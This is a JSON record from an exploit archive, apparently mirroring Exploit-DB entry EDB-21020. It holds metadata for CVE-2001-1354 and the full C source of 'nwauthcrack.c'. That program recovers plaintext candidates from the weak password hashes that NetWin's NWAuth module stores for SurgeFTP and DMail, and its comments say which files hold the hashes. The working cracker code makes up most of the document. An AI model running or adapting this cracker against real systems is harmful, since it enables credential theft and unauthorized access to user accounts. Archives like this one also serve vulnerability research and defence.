{"exploit":{"id":"EDB-21020","name":"NetWin DMail 2.x/SurgeFTP 1.0/2.0 - Weak Password Encryption","description":"NetWin DMail 2.x/SurgeFTP 1.0/2.0 - Weak Password Encryption","cves":["CVE-2001-1354"],"author":"byterage","published":"2001-07-20","platform":"multiple","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21020","path":"exploits/multiple/local/21020.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21020.c","vulnerabilities":[{"id":"CVE-2001-1354","state":"PUBLISHED","title":null,"titleSource":null,"description":"NetWin Authentication module (NWAuth) 2.0 and 3.0b, as implemented in SurgeFTP, DMail, and possibly other packages, uses weak password hashing, which could allow local users to decrypt passwords or use a different password that has the same hash value as the correct password.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-1354","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-1354"},"updatedAt":"2024-08-08T04:51:08.196Z","retrievedAt":"2026-11-27T10:11:35.115Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21020.png?v=2","url":"https://exploitbin.com/exploits/EDB-21020","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21020/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21020/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3075/info\n\nThe Netwin Authentication module, or NWAuth, is an external authentication module used by several Netwin products.\n\nA simple one-way hash function is used by NWAuth to perform password encryption operations. As a result, it is trivial for an attacker to compose a list of possible plaintext values or perform some other brute force attack against the data encrypted using the scheme.\n\n/********************************************************************\n * nwauthcrack.c - NetWin Authentication Module password cracker    *\n * the SurgeFTP encrypted passwords can be found in the admin.dat & *\n * nwauth.clg files in the nwauth.exe directory                     *\n * by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *\n ********************************************************************/\n\n#include <string.h>\n#include <stdio.h>\n\nFILE *fh;\n/* the following table indices refer to the characters our\n   generated password may consist of (true/false), since\n   we don't want to go into too much trouble when typing\n   everything in :) */\nconst char okaychars[256] = {\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,\n0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,\n0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,\n1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\n};\n\n/* DECRYPTION ALGORITHMS */\nint enumpwds(unsigned char encrypted[]) {\n  int heavycrypt0;\n  unsigned int num=0, i, x;\n  unsigned char j[256], decrypted[256];\n  for(i=0; i<256;i++) { j[i] = 0; }\nbrute:\n  heavycrypt0 = (unsigned char)encrypted[1]*255+(unsigned char)encrypted[0];\n  for(i=0; i+2 < strlen(encrypted); i++) {\n    for(x=j[i]; x < 256; x++) {\n\t  if ((x * (heavycrypt0+1) % 40 == (encrypted[i+2]-0x41)) & okaychars[x]) {\n\t    decrypted[i] = x;\n\t\tbreak;\n\t  }\n    }\n\tif (x == 256) {\nnext:\n\t  if (i == 0) return num;\n\t  if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }\n\t  for (i=x; i < 256; i++) { j[i] = 0; }\n\t  goto brute;\n\t}\n\theavycrypt0 += x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;\n  }\n  decrypted[i] = '\\x00';\n  num++;\n  printf(\"%s\\n\", decrypted);\n  if (j[i-1] < 256) { j[i-1] = decrypted[i-1]+1; x = i; } else { i--; goto next; }\n  for (i=x; i < 256; i++) { j[i] = 0; }\n  goto brute;\n}\n/* DECRYPTION ALGORITHMS END */\n\nvoid main(int argc, char ** argv) {\n  char buf[256]; int k, l;\n\n  printf(\"NetWin Authentication Module password cracker by [ByteRage]\\n\\n\");\n\n  if (argc < 2) { printf(\"Syntax : %s <password>\\n\", argv[0]); return; }\n  printf(\"%s ->\\n\",argv[1]);\n\n  printf(\"\\n%d passwords found for %s\\n\",enumpwds(argv[1]),argv[1]);\n}","sha256":"e0b25e882c8683e500633368d27f83a3c6f2bd4ffd485d821dd75fed30c90fc2","bytes":2983,"fetchedAt":"2026-11-27T10:11:31.896Z","encoding":"utf-8 (display only; download retains original bytes)"}